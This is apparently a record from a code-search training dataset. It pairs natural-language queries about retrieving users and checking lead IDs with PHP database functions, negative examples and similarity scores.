[ "0.7181539", "0.7181539", "0.69563085", "0.69503814", "0.69503814", "0.69503814", "0.6746333", "0.67404044", "0.66555595", "0.6649554", "0.6641765", "0.663841", "0.65762025", "0.65713096", "0.65709734", "0.6567916", "0.6566816", "0.65501827", "0.652446", "0.65146685", "0.64986765", "0.6496855", "0.6496342", "0.6492666", "0.6489756", "0.6484707", "0.6482843", "0.6482843", "0.64710814", "0.6458146", "0.64529854", "0.63960147", "0.63825524", "0.6373271", "0.6367569", "0.63618416", "0.6358605", "0.63561964", "0.63377327", "0.63374704", "0.63303465", "0.6315771", "0.6308772", "0.6303047", "0.629708", "0.62921554", "0.62916905", "0.6287408", "0.6280481", "0.6277666", "0.6270392", "0.6265556", "0.62653506", "0.6261868", "0.6254965", "0.62519556", "0.6248056", "0.6245884", "0.62268794", "0.6225412", "0.6219233", "0.62049496", "0.6198004", "0.618556", "0.6185385", "0.6184966", "0.6177813", "0.6177813", "0.6177813", "0.61775565", "0.6169356", "0.61691344", "0.61611027", "0.61602837", "0.6153392", "0.61530805", "0.6152044", "0.61483073", "0.614737", "0.61454153", "0.6142828", "0.61373585", "0.61353683", "0.61316544", "0.61314183", "0.6129956", "0.61280096", "0.61262053", "0.6118276", "0.6117868", "0.6116664", "0.61165154", "0.61147666", "0.61133945", "0.6106891", "0.6100758", "0.6098076", "0.6086848", "0.6085036", "0.60794765" ]
0.6829522
6
Retrieve information for all users
function fetchComments($leadId) { global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("SELECT " . $db_table_prefix . "comments.comments, " . $db_table_prefix . "comments.date, " . $db_table_prefix . "users.display_name FROM " . $db_table_prefix . "comments LEFT JOIN " . $db_table_prefix . "users on " . $db_table_prefix . "comments.user_id = " . $db_table_prefix . "users.id WHERE " . $db_table_prefix . "comments.franchise_id = ?" ); $stmt->bind_param("s", $leadId); $stmt->execute(); $stmt->bind_result($comments, $date, $display_name); while ($stmt->fetch()) { $row[] = array('comments' => $comments, 'date' => $date, 'display_name' => $display_name); } $stmt->close(); return ($row); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function index_get()\n {\n $response = $this->UserM->all_user();\n $this->response($response);\n }", "protected function getAllUsers() {\n\t\t\t$query = \"SELECT username, f_name, l_name, phone, email FROM Stomper\";\n\t\t\treturn $this->EndpointResponse($query, true);\n\t\t}", "public function getUsers();", "public function getUsers();", "public function getUsers();", "public function getUsers() {\n\n $users = $this->users_model->getallusers();\n exit;\n }", "public function allUser(){\n\n\t\t\t$data=$this->all('oops');\n\t\t\treturn $data;\n\t\t}", "public function getAllUsers() {\n //Example of the auth class (you have to change the functionality for yourself)\n AuthHandler::needsAuth(array(\n 'auth' => true\n ));\n\n return ModelLoader::getModel('UserData')->getMultipleUsers(array(\n 1, 2, 3\n ));\n }", "public function get_all_user_info()\n {\n $query = $this->db->get('users');\n return $query->result();\n }", "public function index()\n {\n return response()->responseUtil(User::all(['id', 'name', 'realName', 'openId', 'nickName', 'avatarUrl', 'cellphone', 'officephone','regTime', 'email']));\n }", "public function index()\n {\n return $this->user->all();\n }", "public static function retrieveAllUsers() {\n return R::getAll('SELECT * FROM user');\n }", "function users() {\n if ($this->getRequestMethod() != \"GET\") {\n $this->response('', 406);\n }\n $query = \"select * from users;\"; \n $r = $this->conn->query($query) or die($this->conn->error.__LINE__);\n\n if ($r->num_rows > 0) {\n $result = array(); \n while ($row = $r->fetch_assoc()) {\n $result[] = $row;\n } \n $this->response(json_encode($result), 200);\n } else {\n $this->response('',204);\n }\n }", "public function getAllUsers(){\n\t\treturn $this->user;\n\t}", "function getUsers(){\n }", "function getUsers(){\n }", "public function getAllUsers()\n {\n $result = self::$dbInterface -> query(\"SELECT userID, userName, email FROM user\");\n return $result;\n }", "function users(){\n\t\t\tif($this->rest->getRequestMethod() != \"GET\"){\n\t\t\t\t$this->rest->response('',406);\n\t\t\t}\n\n\t\t\t//Validate the user\n\t\t\t$validUser = $this->validateUser(\"admin\", \"basic\");\n\t\t\tif ($validUser) {\n\t\t\t\t$user_data = $this->model->getUsers();\n\t\t\t\tif(count($user_data)>0) {\n\t\t\t\t\t$response_array['status']='success';\n\t\t\t\t\t$response_array['message']='Total '.count($user_data).' record(s) found.';\n\t\t\t\t\t$response_array['total_record']= count($user_data);\n\t\t\t\t\t$response_array['data']=$user_data;\n\t\t\t\t\t$this->rest->response($response_array, 200);\n\t\t\t\t} else {\n\t\t\t\t\t$response_array['status']='fail';\n\t\t\t\t\t$response_array['message']='Record not found.';\n\t\t\t\t\t$response_array['data']='';\n\t\t\t\t\t$this->rest->response($response_array, 204);\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\t$this->rest->response('Unauthorized Access ',401);\n\t\t\t}\n\n\t\t}", "public function getAllUser(){\n return $this->users;\n }", "public function getAllUsers(){\n $response = User::getAllUserData();\n return json_encode($response);\n }", "public function getAllUsers()\n {\n return \"users from mongo\";\n }", "public function allUsers()\n {\n // $sql = 'SELECT * FROM '.$db_name;\n return $this->queryAll();\n }", "public function getAllUser(){\n $users = $this->bdd->query('SELECT * FROM users');\n $users->execute();\n\t\treturn $users->fetchALL(\\PDO::FETCH_ASSOC);\n }", "public function getUsers() {\n $this->checkValidUser();\n\n $this->db->sql = 'SELECT id, username FROM '.$this->db->dbTbl['users'].' ORDER BY username';\n\n $res = $this->db->fetchAll();\n\n if($res === false) {\n $this->output = array(\n 'success' => false,\n 'key' => 'sdop6'\n );\n } else {\n $this->output = array(\n 'success' => true,\n 'key' => 'ffUI8',\n 'users' => $res\n );\n }\n\n $this->renderOutput();\n }", "public function getAllUsers() {\n $sql = \"SELECT `pk_users`, `name_users`, `password_users`, `mail_users`, `symbol_users`, `first_name_users`, `last_name_users` FROM `users`\";\n $query = $this->db->prepare($sql);\n $query->execute();\n return $query->fetchAll();\n }", "public function users_get()\n {\n // $users = [\n // ['id' => 0, 'name' => 'John', 'email' => 'john@example.com'],\n // ['id' => 1, 'name' => 'Jim', 'email' => 'jim@example.com'],\n // ];\n\n $id = $this->get( 'id' );\n\n if ( $id === null )\n {\n $users = $this->user_model->get();\n // Check if the users data store contains users\n if ( $users )\n {\n // Set the response and exit\n $this->response( $users, 200 );\n }\n else\n {\n // Set the response and exit\n $this->response( [\n 'status' => false,\n 'message' => 'No users were found'\n ], 404 );\n }\n }\n else\n {\n $user = $this->user_model->users($id);\n if ($user)\n {\n $this->response( $user, 200 );\n }\n else\n {\n $this->response( [\n 'status' => false,\n 'message' => 'No such user found'\n ], 404 );\n }\n }\n }", "public function all_user()\n {\n $this->res->SetObject(RCD::SC, RCD::SC, FALSE, $this->db->get('user')->result());\n }", "public function getAll(){\n $users = UserResource::collection($this->userRepo->getAll());\n return $users;\n }", "public function allUsers()\n {\n $users = $this->user->findAll();\n $this->show('admin/allusers', ['users' => $users]);\n }", "public function getAllUsers()\n {\n $sql = \"SELECT `user_id`, `user_fname`, `user_lname`, `user_password_hash`, `user_email`, `user_role` FROM users\";\n $query = $this->db->prepare($sql);\n $query->execute();\n return $query->fetchAll();\n }", "function getAllUsers(){\n\t\t\tglobal $db;\n\t\t\t\n\t\t\t$query = $db->query('SELECT * FROM user');\n\t\t\t$json = '{';\n\t\t\t\n\n\t\t\tif ($query->rowCount() > 0) {\n\t\t\t\t$json = $json . ' \"Users\" : [';\n\n\t\t\t\tforeach($query as $row) {\n\t\t\t\t\t$user = new user($row['Id'], null, null, 0, 0, null);\n\t\t\t\t\t\n\t\t\t\t\t$json = $json . $user->getUser() . \",\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$json = rtrim($json, ',');\n\t\t\t\t$json = $json . \" ] }\";\n\t\t\t\t\n\n\t\t\t\treturn $json;\n\t\t\t} else {\n\t\t\t return $json . ' \"Message\" : \"No users found\" }';\n\t\t\t}\n\t\t}", "public static function getAllUsers() {\r\n // Create a User object\r\n $user = new User();\r\n // Return an array of user objects from the database, ordered by firstname\r\n return $user->getCollection([\"ORDER\" => ['firstname' => 'ASC']]);\r\n }", "public static function getAllUser()\n\t{\n\t\treturn array(self::_getDao()->count(), self::_getDao()->getAll());\n\t}", "public function getAllUsers() {\n $conn = new DBConnect();\n $dbObj = $conn->getDBConnect();\n $this->DAO = new SecurityDAO($dbObj);\n return $this->DAO->getAllUsers();\n }", "public function getUserData()\n {\n \n $user = MasterUser::latest()->get();\n return response([\n 'success' => true,\n 'message' => 'List All User',\n 'data' => $user\n ], 200);\n }", "public function get_users()\n {\n $isFetched = $this->User_m->get_users_m();\n \n $res['status'] = $isFetched ? true : false;\n $res['message'] = $isFetched ? 'Users fetched.' : 'Users not found.';\n $res['count'] = $this->count_user();\n $res['data'] = $isFetched;\n \n http_response_code(200);\n\n echo json_encode($res);\n }", "public function getAllUserById($id);", "public function ShowAll( )\n {\n $dataArray = array(\n );\n \n $response = ServiceAPIUtils::CallAPIService( $dataArray,\"/User/ShowAll/123\", \"json\" );\n \n return $response;\n }", "public function users_get()\n\t{\n\t\t$users = [\n\t\t\t['id' => 0, 'name' => 'John', 'email' => 'john@example.com'],\n\t\t\t['id' => 1, 'name' => 'Jim', 'email' => 'jim@example.com'],\n\t\t];\n\n\t\t$id = $this->get('id');\n\n\t\tif ($id === null) {\n\t\t\t// Check if the users data store contains users\n\t\t\tif ($users) {\n\t\t\t\t// Set the response and exit\n\t\t\t\t$this->response($users, 200);\n\t\t\t} else {\n\t\t\t\t// Set the response and exit\n\t\t\t\t$this->response([\n\t\t\t\t\t'status' => false,\n\t\t\t\t\t'message' => 'No users were found'\n\t\t\t\t], 404);\n\t\t\t}\n\t\t} else {\n\t\t\tif (array_key_exists($id, $users)) {\n\t\t\t\t$this->response($users[$id], 200);\n\t\t\t} else {\n\t\t\t\t$this->response([\n\t\t\t\t\t'status' => false,\n\t\t\t\t\t'message' => 'No such user found'\n\t\t\t\t], 404);\n\t\t\t}\n\t\t}\n\t}", "public function index()\n {\n return response()->json(UserInformation::get());\n }", "public function getAllUsers(){\n $stmt = $this->databaseConnection->prepare(\"SELECT users.login, users.phone, users.invite, cities.city_name, invites.date_status_\n FROM users\n LEFT JOIN cities ON users.id_city = cities.id_city\n LEFT JOIN invites ON users.invite = invites.invite\");\n $stmt->execute();\n return $stmt->fetchAll(PDO::FETCH_ASSOC);\n }", "public function index()\n {\n $query = User::all();\n\n //con resources api\n return UsersResource::collection($query)->additional([\n 'response' => true,\n 'message' => 'Los usuarios fueron listados.'\n ]);\n }", "public function listUsers()\n {\n global $db;\n $user_db_data = array();\n $cache = Cache::getInstance();\n // $cache->flush();\n if($cache->exists(\"user_info_data\"))\n {\n $user_db_data = $cache->get(\"user_info_data\");\n } else { \n $e = $db->prepare(\"SELECT * FROM user_info\");\n $e->execute();\n $user_data = $e->fetchAll(); \n // cache will clear in every 1 min.\n $cache->set(\"user_info_data\", $user_data, 60 * 60 * 0.1);\n $user_db_data = $user_data;\n }\n return $user_db_data;\n }", "public function getUsersList()\n {\n }", "protected function GetAllUsers()\r\n {\r\n $sql = \"SELECT * FROM `users`\";\r\n $result = $this->connect()->query($sql);\r\n $rows = $result->num_rows;\r\n\r\n if ($rows > 0) {\r\n while ($row = $result->fetch_assoc()) {\r\n $data[] = $row;\r\n }\r\n\r\n return $data;\r\n } else {\r\n echo \"No results found!\";\r\n }\r\n }", "public function all_users() {\n\t\tif($this->input->is_ajax_request()) {\n\t\t\techo json_encode($this->users->get_all());\n\t\t} else {\n\t\t\tredirect('cms/users', 'refresh');\n\t\t}\n\t}", "public function retrieveAllUsers () {\n return $this->usersDB;\n }", "function get_users()\n {\n //Unimplemented\n }", "public function getUserAll()\n {\n\n $data = $this->request->data;//recibe la informaciòn que venga por post\n\n $id = $data['id'];\n\n $users = $this->Users->find('all');//trae los datos de la base de datos\n //nombre de la tabla en la base de datos\n\n if($users){\n\n $success = true;//si hay exito al traer los datos\n\n $this->set(compact('success', 'users'));//manda los datos a la vista para mostrar\n }else{\n\n $success = false;\n\n $errors = $users->errors();\n\n $this->set(compact('success', 'errors'));\n }\n }", "public function index()\n {\n return $this->users->getAll('first_name', 'asc', ['departments', 'sectors', 'meta']);\n }", "public function showAllUsers()\n {\n return response()->json(Users::all());\n }", "public function all()\n {\n return $this->newQuery('getUsers', ['type' => 'AllUsers']);\n }", "private function get_userInfo() {\n $params = [ 'user_ids' => $this->user_id ];\n $result = $this->api->users->get($params);\n $params['fields'] = '';\n $result2 = $this->api2->users->get($params);\n $result['hidden'] = (int)array_has($result2, 'hidden');\n return $result;\n }", "public function index()\n {\n list($response_array, $status_code) = $this->repository->getAllOfUser();\n return $this->responseWith($response_array, $status_code);\n }", "public function index()\n {\n // return collection of all users\n return UserIndexResource::collection(User::info()->get());\n }", "function GET()\n {\n $user = $this->router()->user();\n \n if ( ! $user->mayManageUsers())\n {\n throw new NotAuthorized();\n }\n \n $users = array();\n foreach(User::listAllIds() as $id)\n {\n $user = User::loadById($id);\n $users[] = array(\n \"email\" => $user->email(),\n \"id\" => $user->id(),\n \"name\" => $user->name(),\n \"privileges\" => $user->privileges()\n );\n }\n $this->setReturnVariable(\"data\", array(\"users\" => $users));\n }", "public function getUserData()\n {\n exit(json_encode(['data' => $this->users_model->get_users()]));\n }", "public function getUsers()\n {\n $title = \"Users\";\n $view = $this->di->get(\"view\");\n $pageRender = $this->di->get(\"pageRender\");\n\n // Get all the users from db\n $users = $this->di->get(\"user\")->getAllUsers();\n\n $data = [\n //\"items\" => $book->findAll(),\n \"users\" => $users,\n ];\n\n $view->add(\"pages/users\", $data);\n //$view->add(\"blocks/footer\", $data);\n\n $pageRender->renderPage([\"title\" => $title]);\n }", "public function getAllUsers() {\n\n $users = $this->repoProvider->Users()->findAll();\n return MapperHelper::getMapper()->getDTOs($users); // tomorrow first priority. \n }", "public function get_all_hotspot_user(){\n return $this->query('/ip/hotspot/user/getall');\n }", "public function getAllUsers() {\n try{\n $conn = (new DB)->connect();\n\n $stmt = $conn->query(\"SELECT * FROM user\");\n\n $result = $stmt->fetchAll(PDO::FETCH_ASSOC);\n $connection = null;\n return $result;\n\n }\n catch (PDOException $e) {\n echo json_encode([\n 'error' => $e->getMessage(),\n ]);\n \n print \"Error!: \" . $e->getMessage() . \"<br/>\";\n }\n exit;\n }", "public function GetAllUsers()\n {\n $data = $this->db()->run(\"SELECT * FROM users\")->fetchall(PDO::FETCH_ASSOC);\n return $data;\n }", "public static function getUsers(){\n return self::find()->all();\n }", "function extract_all_users() {\n\t\t$db = connect_to_db();\n\n\t\t$select_statement = \n\t\t\t\"select users.id, users.username from users\";\n\t\t;\n\n\t\t$stmt = $db->prepare($select_statement);\n\n\t\tif ( !($stmt->execute()) ) {\n\t\t\techo \"Error: Could not get users.\";\n\t\t\t$db->close();\n\t\t\texit;\n\t\t}\n\n\t\t$json = \"[\";\n\n\t\t$stmt->bind_result($id, $username);\n\n\t\twhile ( $stmt->fetch() ) {\n\t\t\t$info = array('id' => $id, 'username' => $username);\n\t\t\t$json = $json . json_encode($info) . \",\";\n\t\t}\n\n\t\techo substr_replace($json, \"]\", -1);\n\n\t\t$db->close();\n\t}", "public function index()\n {\n $users = User::all();\n }", "public function getUsers()\n {\n $sql = \"SELECT * FROM users\";\n return $this->get($sql, array());\n }", "public function getAll()\n {\n $query = User::query();\n return $query->orderBy('id')->paginate(7);\n }", "function findAllUsers() {\r\n\r\n\t\treturn ($this->query('SELECT * FROM users;'));\r\n\r\n\t}", "Public Function getAllUsers()\n\t{\n\t\t$Output = array();\n\t\t$Users = $this->_db->fetchAll('SELECT * FROM bevomedia_user');\n\t\tforeach($Users as $User)\n\t\t\t$Output[] = new User($User->id);\n\t\t\t\n\t\treturn $Output;\n\t}", "public function getAllUsers($parameters = array());", "public function index() {\n\t\t$user = $this->User->read(null, $this->Auth->user('id'));\n\t\t$this->User->recursive = 0;\n\t\t$this->set('users', $this->paginate());\n\t\t$this->set('userId', $user['User']['id']);\n\t\t$this->set('userType', $user['User']['type']);\n\t}", "public function allForUser($userId);", "public function allForUser($userId);", "public function allUsers()\n\t{\n\t\t$data['users'] = $this->MainModel->selectAll('users', 'first_name');\n\t\t$this->load->view('layout/header');\n\t\t$this->load->view('layout/sidebar');\n\t\t$this->load->view('template/all-users', $data);\n\t\t$this->load->view('layout/footer');\n\t}", "public function getAll()\n {\n self::connectToDB(); /* Using DB connection */\n\n $this->sql = \"SELECT * FROM users\";\n\n try\n {\n $this->query = $this->handler->query($this->sql);\n $this->result = $this->query->fetchAll(PDO::FETCH_ASSOC);\n\n /**\n * Closing DB connection\n */\n $this->query->closeCursor();\n $this->handler = null;\n\n foreach ($this->result as $row)\n {\n $this->list[] = new User($row['id'], $row['username'], $row['password'], $row['email'], $row['firstname'], $row['lastname'], $row['admin'], $row['blocked'], $row['image_path'], $row['registration_date']);\n }\n return $this->list;\n }\n catch (Exception $e)\n {\n echo \"Error: query failure\";\n return false;\n }\n }", "public function get_all()\n\t{\n\n\t\t/**\n\t\t * Select all the user query results of the table\n\t\t *\n\t\t * @var array $query Select all the users\n\t\t */\n\t\t$query = $this->db->get(\"users\");\n\t\t\n\t\t/**\n\t\t * Return the query result\n\t\t */\n\t\treturn $query;\n\n\t}", "public function users_list() {\n return response()->json(User::latest()->get());\n }", "public function index()\n {\n return $this->userRepo->getUsers();\n }", "public function getUserDetails() {\n $where = [];\n $this->usersModel->setTableName(\"cvd_users\");\n $username = $this->request->input(\"username\");\n if ($username) {\n $where[] = [\"username\", \"=\", $username];\n }\n\n $userIdEqual = $this->request->input(\"user_id_equal\");\n if ($userIdEqual) {\n $where[] = [\"user_id\", \"=\", $userIdEqual];\n }\n\n $userIdNotEqual = $this->request->input(\"user_id_not_equal\");\n if ($userIdNotEqual) {\n $where[] = [\"user_id\", \"!=\", $userIdNotEqual];\n }\n\n\n $this->usersModel->setWhere($where);\n $users = $this->usersModel->getData();\n\n return $users;\n }", "public function user_get()\n\t{\n\t\t$id = $this->get('id');\n\t\tif ($id == null) {\n\t\t\t$data = $this->User->showUser();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$data = $this->User->showUser($id);\n\t\t}\n\n\t\tif ($data) {\n\t\t\t$this->response($data,200);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->response([\n\t\t\t\t'error'=>true,\n\t\t\t\t'message'=>'Id tidak ada'\n\t\t\t],200);\n\t\t}\n\n\t}", "public function index()\n {\n return $this->respond(User::_(User::all()->toArray()));\n }", "public function getAllUsers()\n {\n // Connect to db\n $user = new User();\n $user->setDb($this->di->get(\"db\"));\n // Get users from db\n $users = $user->findAll();\n return $users;\n }", "public function getUsers(){\n return self::getModel(\"users\", \"*\");\n }", "public static function allUser()\n {\n $self = new self();\n\n $sql = \"SELECT * FROM user\";\n\n $result = $self->db->query($sql);\n\n $result = $result->fetchAll();\n\n return $result;\n }", "public function findUsers();", "public function findUsers();", "public function index()\n {\n $user = $this->permission(User::all(), 'id');\n\n return $this->showAll($user,User::class);\n }", "public function getMembers()\n {\n \t$companyId = session('company_id');\n \t$userRepo = $this->em->getRepository('App\\Entity\\Management\\User');\n \t$users = $userRepo->getUsersByCompany($companyId);\n\n echo json_encode($users);\n\n }", "public function userlist()\n {\n $filter = Param::get('filter');\n\n $current_page = max(Param::get('page'), SimplePagination::MIN_PAGE_NUM);\n $pagination = new SimplePagination($current_page, MAX_ITEM_DISPLAY);\n $users = User::filter($filter);\n $other_users = array_slice($users, $pagination->start_index + SimplePagination::MIN_PAGE_NUM);\n $pagination->checkLastPage($other_users);\n $page_links = createPageLinks(count($users), $current_page, $pagination->count, 'filter=' . $filter);\n $users = array_slice($users, $pagination->start_index -1, $pagination->count);\n \n $this->set(get_defined_vars());\n }", "public function getAll() {\r\n $query = $this->db->get(USERS);\r\n return $query->result_array();\r\n }", "public function index()\n {\n return $this->showCollectionResponse(User::all(), 200);\n }", "public function allUsersJson()\n {\n echo parent::allUsers();\n }", "public function getUsers()\n {\n return User::where('user_status', 1)->get();\n }", "public function getAllUsers() {\n $sql = 'SELECT id, firstname, mail, role, isAdmin FROM user';\n $sth = $this->db->prepare($sql);\n $sth-> execute(array());\n if ($row = $sth->fetchAll()) {\n return $row;\n }\n }", "public function users();", "public function users();", "public function users();", "public function users();", "public function index()\n {\n return User::all()->toArray();\n }", "function get_users()\n\t{\n\t\tglobal $db;\n\t\t\n\t\t$query = $db->query(\"SELECT * FROM users\");\n\t\t\n\t\treturn $db->results($query);\n\t}", "public function getAllUser()\n {\n $this->stmt = $this->db->prepare('SELECT * FROM user');\n $this->stmt->execute();\n $data = $this->stmt->get_result();\n $rows = $data->fetch_all(MYSQLI_ASSOC);\n return $rows;\n }" ]
[ "0.8041882", "0.7870385", "0.7792102", "0.7792102", "0.7792102", "0.7769908", "0.7730422", "0.7720385", "0.76890016", "0.765242", "0.7642938", "0.7625933", "0.7622072", "0.7617119", "0.7604003", "0.7604003", "0.75875854", "0.7574718", "0.75315917", "0.7489289", "0.74751467", "0.7452101", "0.7451462", "0.7442763", "0.74405664", "0.7428916", "0.7401243", "0.7390989", "0.7371082", "0.7357723", "0.73499763", "0.7343771", "0.7339544", "0.7337924", "0.73293215", "0.7326152", "0.73259693", "0.7316114", "0.73130685", "0.73079175", "0.7291517", "0.72906", "0.7283183", "0.7280712", "0.7277321", "0.72736573", "0.7272846", "0.7272474", "0.72684366", "0.72666436", "0.72616816", "0.7258231", "0.72553843", "0.7247041", "0.7244689", "0.72407204", "0.72331524", "0.7225504", "0.72210664", "0.72172046", "0.72168785", "0.72079456", "0.72013164", "0.7200285", "0.7198567", "0.71901464", "0.718721", "0.7183224", "0.7182809", "0.71775126", "0.7161979", "0.7159896", "0.7159896", "0.71584046", "0.7155351", "0.7154785", "0.7152213", "0.7149943", "0.71429163", "0.7137096", "0.71351475", "0.71342576", "0.71317416", "0.7129312", "0.7127469", "0.7127469", "0.7124686", "0.71209013", "0.7110606", "0.7105943", "0.7102945", "0.71010774", "0.7096129", "0.70953083", "0.70938486", "0.70938486", "0.70938486", "0.70938486", "0.7093407", "0.7088994", "0.70820427" ]
0.0
-1
Check if a lead ID exists in the DB
function franchiseIdExists($id) { global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("SELECT active FROM " . $db_table_prefix . "franchise WHERE id = ? LIMIT 1"); $stmt->bind_param("i", $id); $stmt->execute(); $stmt->store_result(); $num_returns = $stmt->num_rows; $stmt->close(); if ($num_returns > 0) { return true; } else { return false; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function leadIdExists($id) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT active\n\t\tFROM \" . $db_table_prefix . \"leads\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"i\", $id);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "function leadExists($email) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT id\n\t\tFROM \" . $db_table_prefix . \"leads\n\t\tWHERE\n\t\temail = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "private function checkIsExists(): bool\n {\n $where = [\n $this->table. '.vendorId' => $this->vendorId,\n $this->table. '.campaign' => $this->campaign,\n ];\n\n if (!is_null($this->id)) {\n $where[$this->table. '.id !='] = $this->id;\n }\n\n $id = $this->readImproved([\n 'what' => [$this->table. '.id'],\n 'where' => $where\n ]);\n\n return !is_null($id);\n }", "private function checkIsExists(): bool\n {\n $id = $this->readImproved([\n 'what' => [$this->table. '.id'],\n 'where' => [\n $this->table. '.listId' => $this->listId,\n $this->table. '.campaignId' => $this->campaignId,\n ]\n ]);\n\n return !is_null($id);\n }", "function _existsInDatabase($id)\n {\n $conn = getConn();\n $sql = \"SELECT RubriekID FROM Rubriek WHERE RubriekID = ?\";\n $stmt = sqlsrv_prepare($conn, $sql, array($id));\n if (!$stmt) {\n die(print_r(sqlsrv_errors(), true));\n }\n sqlsrv_execute($stmt);\n if (sqlsrv_execute($stmt)) {\n $row = sqlsrv_has_rows( $stmt );\n if ($row === true){\n return true;\n }\n }\n return false;\n }", "function donationIdExists($id) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT * FROM donation WHERE id = ?\",array($id));\n\t$num_returns = $query->count();\n\tif ($num_returns > 0){\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t}\n}", "function linkIdExists($id) {\n\t$id = intval($id);\n\treturn(dbResultExists(\"SELECT id FROM links WHERE id=$id\"));\n}", "function lukasid_exists($lid = '')\r\n\t{\r\n\t\t$this->db->where('lukasid', $lid);\r\n\t\t$query = $this->db->get('users');\r\n\t\tif($query->num_rows == 1)\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\treturn false;\r\n\t}", "function existID($id, $includeBlocked = FALSE) {\n if (checkit::isGuid($id, TRUE)) {\n $sql = \"SELECT COUNT(*)\n FROM %s\n WHERE surfer_id = '%s' %s\";\n $blockedClause = ($includeBlocked === FALSE) ? ' AND surfer_valid != 4' : '';\n $params = array($this->tableSurfer, $id, $blockedClause);\n if ($res = $this->databaseQueryFmtWrite($sql, $params)) {\n if ($row = $res->fetchRow()) {\n return ((bool)$row[0] > 0);\n }\n }\n }\n return FALSE;\n }", "function check_deal_id_is_valid($deal_id){\n $count = Db::rowCount(\"deals\",array(\n \"id\" => $deal_id,\n \"active\" => \"y\"\n ),array(\"=\",\"=\"));\n return $count == 1 ? true : false;\n}", "private function isIdExist($id) {\n\t\tif(!$id){\n\t\t\treturn false;\n\t\t}\n\t\n\t\t$stmt = $this->dbh->prepare(\"SELECT * FROM candidates WHERE id=:id \");\n\t\t$stmt->setFetchMode(PDO::FETCH_ASSOC);\n\t\t$stmt->execute(array(\":id\"=>$id));\n\t\t$row = $stmt->fetch();\n\t\n\t\treturn !empty($row);\n\t}", "function does_id_exist($data1, $data2)\r\n\t{\r\n\t\tglobal $db;\r\n\t\t$query = 'SELECT spotlight_post_id FROM gv_spotlight_post WHERE (spotlight_post_block = 0) AND (spotlight_post_id = ' . $data1 . ' AND member_id = ' . $data2 . ')';\r\n\t\t$result = mysql_query($query, $db) or die(mysql_error($db));\r\n\t\t\r\n\t\tif(mysql_num_rows($result) > 0)\r\n\t\t{\r\n\t\t\t$post_exists = 1;\r\n\t\t}\r\n\t\telse {\r\n\t\t\t\t$post_exists = 0;\r\n\t\t}\r\n\t\treturn $post_exists;\r\n\t}", "public function exist_in_payroll($id = FALSE)\n {\n \n $query=$this->db->query(\"SELECT * FROM salary_details WHERE Employee_id='$id' \");\n if($query->num_rows()>0){\n return true;\n }else{\n return false;\n }\n }", "function exists($id);", "public function exists()\n {\n return ($this->id) ? true : false;\n }", "function exists() {\n\t return !empty($this->id);\n\t}", "public function hasId(){\n return $this->_has(17);\n }", "function check_incident($conn, $id) {\n\t$sql = \"SELECT * FROM Incident WHERE Incident_ID = '$id'\";\n\t$result = mysqli_query($conn, $sql);\n\t// happen to have one match, i.e. one unique corrosponding vehicle\n\tif (mysqli_num_rows($result)== 1){\n\t\treturn True;\n\t}else {\n\t\treturn False; // no or multiple corrospondence\n\t}\n\t\n}", "function is_exists($id) {\n $query = \"SELECT\n id\n FROM\n \" . $this->table_name . \" \n WHERE\n id = ?\n LIMIT\n 0,1\";\n \n // prepare query statement\n $stmt = $this->conn->prepare( $query );\n \n // bind id of user to be updated\n $stmt->bindParam(1, $id);\n \n // execute query\n $stmt->execute();\n \n // get retrieved row\n return ($stmt->rowCount() > 0);\n }", "public function hasId(){\n return $this->_has(1);\n }", "public function hasId(){\n return $this->_has(1);\n }", "public function hasId(){\n return $this->_has(1);\n }", "public function hasId(){\n return $this->_has(1);\n }", "public function hasId(){\n return $this->_has(1);\n }", "public function hasId(){\n return $this->_has(1);\n }", "public function hasId(){\n return $this->_has(1);\n }", "public function hasId(){\n return $this->_has(1);\n }", "public function hasId(){\n return $this->_has(1);\n }", "public function hasId(){\n return $this->_has(1);\n }", "public function accountIdExists($id){\n try{\n $sql = 'SELECT idaccount FROM accounts WHERE idaccount=:id';\n $query = pdo()->prepare($sql);\n $query->bindValue(':id', $id, PDO::PARAM_INT);\n $query->execute();\n $res = $query->fetch(PDO::FETCH_ASSOC);\n $query->closeCursor();\n if($res){\n return true;\n }\n }\n catch(Exception $e)\n {\n trigger_error('Echec lors de la vérification si le compte(ID) existe : '.$e->getMessage(), E_USER_ERROR);\n }\n return false;\n }", "function pageIdExists($id) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT private\n\t\tFROM \" . $db_table_prefix . \"pages\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"i\", $id);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "public function exists() {\n\t\treturn !is_null($this->id);\n\t}", "function exists()\r\n\t{\r\n\t\treturn ( ! empty($this->id));\r\n\t}", "public function returnExists($id);", "public function checkRecordIsExist ($field,$table,$idrecord,$opt=\"integer\");", "public function hasId() : bool;", "function userIdExists($id) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT * FROM users WHERE id = ?\",array($id));\n\t$num_returns = $query->count();\n\tif ($num_returns > 0){\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t}\n}", "public function exists($id);", "public function exists($id);", "public function 